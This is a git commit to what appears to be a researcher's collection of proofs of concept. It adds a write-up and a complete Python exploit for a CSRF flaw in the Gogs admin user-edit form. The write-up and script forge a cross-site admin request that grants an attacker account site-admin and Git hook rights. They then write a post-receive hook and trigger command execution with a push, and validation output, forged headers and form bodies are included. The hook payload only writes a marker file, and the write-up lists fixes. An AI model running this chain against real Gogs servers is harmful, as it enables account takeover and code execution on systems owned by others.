Add Gogs admin CSRF Git hook RCE PoC

This commit is contained in:
bikini
2026-07-01 15:38:48 -05:00
parent 849665d0c9
commit 64ad1363b3
4 changed files with 451 additions and 1 deletions
+2 -1
View File
@@ -41,6 +41,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o
| `ffmpeg-rasc-dlta-calc-poc` | direct entry, June 26, 2026 | 7 |
| `ghidra-12.1.2-rce-ace-calc-poc` | `52dee6362990c03c0d753d074c85428824d46368` | 9 |
| `gitea-act-runner-container-options-poc` | `f06d78fb111732f3e7737f4c07e77ef94c4b64bf` | 4 |
| `gogs-admin-csrf-git-hook-rce-poc` | direct entry, July 1, 2026 | 3 |
| `imagemagick-gs-delegate-hijack-poc` | `8140e8ee0ed78beaf5e8303a795b70b138f5891b` | 5 |
| `ladybird-wasm-esm-host-function-rce-poc` | direct entry, July 1, 2026 | 2 |
| `libarchive-zip-debuginfod-size-boundary` | direct entry, July 1, 2026 | 6 |
@@ -78,7 +79,7 @@ Matching Git blob IDs means the tracked file bytes are identical. The check cove
This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history remain in the original repository histories.
Direct entries, including `c-ares-tcp-uaf-calc-poc`, `curl-smtp-expn-recipient-crlf-injection`, `ffmpeg-rasc-dlta-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `ladybird-wasm-esm-host-function-rce-poc`, `libarchive-zip-debuginfod-size-boundary`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nextjs-unstable-cache-object-argument-collision`, `nodebb-activitypub-attributedto-local-uid-spoof-poc`, `nghttp2-nghttpx-upgrade-queue-poison-poc`, `nmap-ipv6-extlen-wrap-poc`, `php857-streambucket-soap-rce-rpoc`, `pillow-imagecms-output-mode-oob-poc`, `qemu-cxl-type3-mailbox-escape-poc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history.
Direct entries, including `c-ares-tcp-uaf-calc-poc`, `curl-smtp-expn-recipient-crlf-injection`, `ffmpeg-rasc-dlta-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `gogs-admin-csrf-git-hook-rce-poc`, `ladybird-wasm-esm-host-function-rce-poc`, `libarchive-zip-debuginfod-size-boundary`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nextjs-unstable-cache-object-argument-collision`, `nodebb-activitypub-attributedto-local-uid-spoof-poc`, `nghttp2-nghttpx-upgrade-queue-poison-poc`, `nmap-ipv6-extlen-wrap-poc`, `php857-streambucket-soap-rce-rpoc`, `pillow-imagecms-output-mode-oob-poc`, `qemu-cxl-type3-mailbox-escape-poc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history.
## ABUSE
@@ -0,0 +1,3 @@
_work/
__pycache__/
proof.json
+231
View File
@@ -0,0 +1,231 @@
# Gogs Admin User Edit CSRF to Git Hook RCE PoC
This entry documents and exercises a state-changing request flaw in Gogs `0.15.0+dev`.
An authenticated site administrator can be induced to submit the existing admin user-edit form for an attacker-controlled account. The request grants the attacker account site-admin rights and Git hook editing rights. The attacker can then write a repository `post-receive` hook through the stock Gogs hook editor and trigger command execution with a normal Git push.
## Affected Target
- Product: Gogs
- Version verified: `0.15.0+dev`
- Commit tested: `5f51118ab513522462a54cef30599d7ddffcc55f`
- Feature path: classic web admin routes and repository Git hook settings
- Required attacker account: a normal local user account
- Required victim interaction: a logged-in site administrator submits an attacker-controlled request
## Impact
The chain turns one authenticated browser request from a site administrator into command execution as the Gogs server process.
After the account mutation, the attacker account can reach site-admin pages and repository Git hook settings. A `post-receive` hook written through the stock web route runs during a later HTTP Git push.
## Source Trace
Relevant source locations in Gogs `0.15.0+dev`:
| File | Behavior |
| --- | --- |
| `cmd/gogs/internal/web/web.go` | Registers `POST /admin/users/:userid` |
| `cmd/gogs/internal/web/web.go` | Installs session and context middleware around classic web routes |
| `templates/admin/user/edit.tmpl` | Renders the admin edit form without a CSRF token field |
| `templates/admin/user/edit.tmpl` | Exposes `admin` and `allow_git_hook` checkboxes |
| `internal/form/admin.go` | Binds `Admin` and `AllowGitHook` into `AdminEditUser` |
| `internal/route/admin/users.go` | Writes `IsAdmin` and `AllowGitHook` to the selected user |
| `internal/context/repo.go` | Allows site admins through repository-admin checks |
| `internal/context/repo.go` | Allows Git hook editing when `CanEditGitHook()` is true |
| `internal/database/users.go` | Returns true for `CanEditGitHook()` when the user is admin or hook-enabled |
| `internal/route/repo/setting.go` | Writes attacker-supplied hook content |
| `cmd/gogs/hook.go` | Executes `custom_hooks/post-receive` during pushes |
The state-change path is:
```text
POST /admin/users/:userid
bind AdminEditUser
Admin
AllowGitHook
admin.EditUserPost
database.UpdateUserOptions
IsAdmin
AllowGitHook
database.Handle.Users().Update()
```
The command execution path is:
```text
POST /:owner/:repo/settings/hooks/git/post-receive
context.RequireRepoAdmin()
context.GitHookService()
repo.SettingsGitHooksEditPost()
hook.Update(content)
git push
gogs hook post-receive
custom_hooks/post-receive
```
## PoC Design
`poc.py` drives the stock HTTP interface and the stock Git smart HTTP path. It:
1. Starts with a normal attacker account and a logged-in site-admin session.
2. Sends the admin user-edit POST for the attacker account with cross-site request headers.
3. Logs in as the attacker and confirms the web API now reports site-admin status.
4. Creates an attacker-owned repository through `/repo/create`.
5. Writes a `post-receive` hook through `/settings/hooks/git/post-receive`.
6. Clones the repository over HTTP Git.
7. Commits and pushes a trigger file.
8. Prints the repository, marker path, Git push output, and optional local marker contents.
The script uses Python standard library APIs and the system `git` command.
## Requirements
- Python 3.10 or newer
- Git command-line client
- A running stock Gogs `0.15.0+dev` instance
- One site-admin session or site-admin username and password for validation
- One normal attacker account
- The numeric user id and email address of the attacker account
- A server-side marker path writable by the Gogs process
## Quick Run
Start from a stock Gogs instance with:
- site admin: `siteadmin` / `AdminPass123!`
- attacker: `attacker` / `AttackerPass123!`
- attacker id: `2`
- attacker email: `attacker@example.test`
Run:
```bash
python poc.py \
--target-base http://127.0.0.1:38081 \
--admin-user siteadmin \
--admin-password 'AdminPass123!' \
--attacker-user attacker \
--attacker-password 'AttackerPass123!' \
--attacker-id 2 \
--attacker-email attacker@example.test \
--repo gogs-hook-proof \
--marker-path /tmp/gogs_hook_proof.txt \
--output proof.json
```
Expected output shape:
```json
{
"targetBase": "http://127.0.0.1:38081",
"attackerUser": "attacker",
"attackerId": 2,
"attackerInfo": {
"username": "attacker",
"avatarURL": "http://127.0.0.1:38081/avatars/2",
"isAdmin": true,
"canCreateOrganization": true
},
"repository": "attacker/gogs-hook-proof",
"markerPath": "/tmp/gogs_hook_proof.txt",
"localMarker": null,
"pushStdout": "",
"pushStderr": "To http://127.0.0.1:38081/attacker/gogs-hook-proof.git\n..."
}
```
For a local validation target, pass `--local-marker` with the host path that corresponds to the server-side marker file. The script will print the marker contents after the push.
## Existing Admin Session Mode
To model a request delivered through an already-authenticated administrator browser, pass the administrator session cookie directly:
```bash
python poc.py \
--target-base http://127.0.0.1:38081 \
--admin-cookie 'i_like_gogs=SESSION_VALUE' \
--attacker-user attacker \
--attacker-password 'AttackerPass123!' \
--attacker-id 2 \
--attacker-email attacker@example.test \
--marker-path /tmp/gogs_hook_proof.txt
```
The submitted admin request contains:
```text
Origin: https://example.invalid
Referer: https://example.invalid/submit.html
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
```
The form body grants both account controls:
```text
login_type=0-0
email=attacker@example.test
max_repo_creation=-1
active=on
admin=on
allow_git_hook=on
```
## Validation Run
The validation run used a clean stock Gogs checkout at `5f51118ab513522462a54cef30599d7ddffcc55f`, built as `0.15.0+dev`, running on Linux with SQLite and HTTP Git enabled.
Initial users:
```text
(1, 'siteadmin', 'siteadmin@example.test', 1, 0, 1)
(2, 'attacker', 'attacker@example.test', 0, 0, 1)
```
The forged admin POST returned a redirect to the edited attacker account, and the attacker row changed to:
```text
(2, 'attacker', 'attacker@example.test', 1, 1, 1)
```
The hook written through Gogs was:
```sh
#!/bin/sh
id > /mnt/d/gogs-proof-validation/tmp/gogs_hook_proof.txt
pwd >> /mnt/d/gogs-proof-validation/tmp/gogs_hook_proof.txt
```
A normal HTTP Git push triggered the hook and created:
```text
uid=1000(owner) gid=1000(owner) groups=1000(owner),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users)
/mnt/d/gogs-proof-validation/repositories/attacker/gogs-hook-proof.git
```
Relevant server log lines from the stock instance:
```text
Account updated by admin "siteadmin": attacker
Repository created [1]: attacker/gogs-hook-proof
[Git] Authenticated user: attacker
TriggerTask: attacker/gogs-hook-proof@master by "attacker"
```
## Browser Delivery Requirements
The server-side request accepts a valid administrator session and processes the state change without a CSRF token. Browser delivery requires the victim request to carry the administrator session cookie. Same-site origins, deployments that permit the cookie on the delivered request, and browser flows where the session cookie is sent satisfy that requirement.
## Fix Direction
- Restore server-side CSRF validation for all session-authenticated unsafe web methods.
- Include per-request CSRF tokens in classic HTML forms.
- Validate `Origin`, `Referer`, and Fetch Metadata headers for sensitive state-changing routes.
- Require a fresh confirmation step for site-admin mutations that grant admin rights, Git hook editing rights, password changes, or login-state changes.
- Keep Git hook editing behind an explicit high-risk permission boundary and audit every hook update.
## Responsible Use
Use this PoC only for systems you own, systems you are authorized to test, and defensive regression work.
+215
View File
@@ -0,0 +1,215 @@
import argparse
import http.cookiejar
import json
import os
import pathlib
import secrets
import shlex
import ssl
import subprocess
import sys
import tempfile
import urllib.error
import urllib.parse
import urllib.request
class Client:
def __init__(self, base_url, insecure):
self.base_url = base_url.rstrip("/")
self.cookiejar = http.cookiejar.CookieJar()
handlers = [urllib.request.HTTPCookieProcessor(self.cookiejar)]
if insecure:
handlers.append(urllib.request.HTTPSHandler(context=ssl._create_unverified_context()))
self.opener = urllib.request.build_opener(*handlers)
def url(self, path):
return self.base_url + "/" + path.lstrip("/")
def request(self, method, path, body=None, headers=None):
data = None
final_headers = {}
if headers:
final_headers.update(headers)
if isinstance(body, dict):
data = urllib.parse.urlencode(body).encode()
final_headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
elif isinstance(body, bytes):
data = body
elif isinstance(body, str):
data = body.encode()
req = urllib.request.Request(self.url(path), data=data, headers=final_headers, method=method)
try:
with self.opener.open(req, timeout=30) as resp:
return resp.status, resp.read(), resp.headers
except urllib.error.HTTPError as exc:
payload = exc.read()
raise RuntimeError(f"{method} {path} returned HTTP {exc.code}: {payload[:500].decode(errors='replace')}") from exc
def json_post(self, path, payload):
body = json.dumps(payload, separators=(",", ":")).encode()
status, data, headers = self.request("POST", path, body, {"Content-Type": "application/json"})
if data:
return status, json.loads(data.decode()), headers
return status, None, headers
def json_get(self, path):
status, data, headers = self.request("GET", path)
if data:
return status, json.loads(data.decode()), headers
return status, None, headers
def login(self, username, password):
status, data, headers = self.json_post("/api/web/user/sign-in", {
"username": username,
"password": password,
"loginSource": 0,
})
return status, data, headers
def run(cmd, cwd=None):
proc = subprocess.run(cmd, cwd=cwd, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if proc.returncode != 0:
raise RuntimeError(f"command failed: {' '.join(cmd)}\nstdout:\n{proc.stdout}\nstderr:\n{proc.stderr}")
return proc
def git_url(base_url, username, password, owner, repo):
parsed = urllib.parse.urlparse(base_url.rstrip("/"))
userinfo = urllib.parse.quote(username, safe="") + ":" + urllib.parse.quote(password, safe="") + "@"
path = parsed.path.rstrip("/") + f"/{urllib.parse.quote(owner)}/{urllib.parse.quote(repo)}.git"
return urllib.parse.urlunparse((parsed.scheme, userinfo + parsed.netloc, path, "", "", ""))
def read_optional(path):
if not path:
return None
p = pathlib.Path(path)
if not p.exists():
return None
return p.read_text(errors="replace")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--target-base", required=True)
parser.add_argument("--admin-user")
parser.add_argument("--admin-password")
parser.add_argument("--admin-cookie")
parser.add_argument("--attacker-user", required=True)
parser.add_argument("--attacker-password", required=True)
parser.add_argument("--attacker-id", required=True, type=int)
parser.add_argument("--attacker-email", required=True)
parser.add_argument("--owner")
parser.add_argument("--repo")
parser.add_argument("--marker-path")
parser.add_argument("--local-marker")
parser.add_argument("--origin", default="https://example.invalid")
parser.add_argument("--work-dir")
parser.add_argument("--output")
parser.add_argument("--git", default="git")
parser.add_argument("--insecure", action="store_true")
parser.add_argument("--keep-work-dir", action="store_true")
args = parser.parse_args()
if not args.admin_cookie and not (args.admin_user and args.admin_password):
raise SystemExit("provide --admin-cookie or --admin-user with --admin-password")
owner = args.owner or args.attacker_user
repo = args.repo or "gogs-hook-proof-" + secrets.token_hex(4)
marker_path = args.marker_path or "/tmp/gogs_hook_proof_" + secrets.token_hex(4) + ".txt"
admin = Client(args.target_base, args.insecure)
if args.admin_user and args.admin_password:
admin.login(args.admin_user, args.admin_password)
admin_headers = {
"Origin": args.origin,
"Referer": args.origin.rstrip("/") + "/submit.html",
"Sec-Fetch-Site": "cross-site",
"Sec-Fetch-Mode": "navigate",
}
if args.admin_cookie:
admin_headers["Cookie"] = args.admin_cookie
admin.request("POST", f"/admin/users/{args.attacker_id}", {
"login_type": "0-0",
"email": args.attacker_email,
"max_repo_creation": "-1",
"active": "on",
"admin": "on",
"allow_git_hook": "on",
}, admin_headers)
attacker = Client(args.target_base, args.insecure)
attacker.login(args.attacker_user, args.attacker_password)
_, attacker_info, _ = attacker.json_get("/api/web/user/info")
if not attacker_info or not attacker_info.get("isAdmin"):
raise RuntimeError("attacker account did not become site admin")
attacker.request("POST", "/repo/create", {
"user_id": str(args.attacker_id),
"repo_name": repo,
"description": "git hook proof",
"auto_init": "on",
"readme": "Default",
"gitignores": "",
"license": "",
})
hook_content = "\n".join([
"#!/bin/sh",
"id > " + shlex.quote(marker_path),
"pwd >> " + shlex.quote(marker_path),
"",
])
attacker.request("POST", f"/{owner}/{repo}/settings/hooks/git/post-receive", {
"content": hook_content,
})
repo_url = git_url(args.target_base, args.attacker_user, args.attacker_password, owner, repo)
cleanup = args.work_dir is None
work_root = args.work_dir or tempfile.mkdtemp(prefix="gogs-hook-proof-")
pathlib.Path(work_root).mkdir(parents=True, exist_ok=True)
clone_dir = os.path.join(work_root, "repo")
run([args.git, "clone", repo_url, clone_dir])
run([args.git, "config", "user.name", "Gogs Hook Proof"], clone_dir)
run([args.git, "config", "user.email", "proof@example.test"], clone_dir)
pathlib.Path(clone_dir, "proof.txt").write_text("trigger\n")
run([args.git, "add", "proof.txt"], clone_dir)
run([args.git, "commit", "-m", "Trigger post receive hook"], clone_dir)
push = run([args.git, "push", "origin", "master"], clone_dir)
local_marker = read_optional(args.local_marker)
if args.local_marker and local_marker is None:
raise RuntimeError("local marker was not created")
result = {
"targetBase": args.target_base.rstrip("/"),
"attackerUser": args.attacker_user,
"attackerId": args.attacker_id,
"attackerInfo": attacker_info,
"repository": f"{owner}/{repo}",
"markerPath": marker_path,
"localMarker": local_marker,
"pushStdout": push.stdout,
"pushStderr": push.stderr,
}
encoded = json.dumps(result, indent=2)
print(encoded)
if args.output:
pathlib.Path(args.output).write_text(encoded + "\n")
if cleanup and not args.keep_work_dir:
import shutil
shutil.rmtree(work_root, ignore_errors=True)
if __name__ == "__main__":
try:
main()
except Exception as exc:
print(str(exc), file=sys.stderr)
sys.exit(1)